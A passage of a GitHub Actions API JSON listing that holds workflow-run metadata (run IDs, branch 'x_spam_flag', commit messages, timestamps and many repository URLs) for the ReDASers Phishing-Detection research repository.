arred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":292306455,"node_id":"MDExOldvcmtmbG93UnVuMjkyMzA2NDU1","head_branch":"x_spam_flag","head_sha":"183be5b7aeeadf7ba292dd921731a660cab9af2b","run_number":1076,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1299350013,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjk5MzUwMDEz","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292306455","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/292306455","pull_requests":[],"created_at":"2020-10-06T22:21:41Z","updated_at":"2020-10-07T02:35:45Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292306455/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292306455/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1299350013","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292306455/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292306455/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292306455/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"183be5b7aeeadf7ba292dd921731a660cab9af2b","tree_id":"b38c72e0cda01bfa7771810acb5af9e9f76b9b48","message":"Lint","timestamp":"2020-10-06T22:21:35Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":292221714,"node_id":"MDExOldvcmtmbG93UnVuMjkyMjIxNzE0","head_branch":"x_spam_flag","head_sha":"8b25ed8d9153ee37a4db0c2038524b337457d65f","run_number":282,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":1299089101,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjk5MDg5MTAx","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292221714","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/292221714","pull_requests":[],"created_at":"2020-10-06T21:17:45Z","updated_at":"2020-10-06T21:20:22Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292221714/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292221714/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1299089101","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292221714/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292221714/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292221714/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"8b25ed8d9153ee37a4db0c2038524b337457d65f","tree_id":"6e0244b6a82f48e9b48a2e16b763a7b8988355d3","message":"Additional Email Unit-tests","timestamp":"2020-10-06T19:37:31Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":292080978,"node_id":"MDExOldvcmtmbG93UnVuMjkyMDgwOTc4","head_branch":"x_spam_flag","head_sha":"8b25ed8d9153ee37a4db0c2038524b337457d65f","run_number":1075,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1298621746,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjk4NjIxNzQ2","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080978","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/292080978","pull_requests":[],"created_at":"2020-10-06T19:37:45Z","updated_at":"2020-10-06T22:21:45Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080978/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080978/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1298621746","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080978/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080978/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080978/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"8b25ed8d9153ee37a4db0c2038524b337457d65f","tree_id":"6e0244b6a82f48e9b48a2e16b763a7b8988355d3","message":"Additional Email Unit-tests","timestamp":"2020-10-06T19:37:31Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. 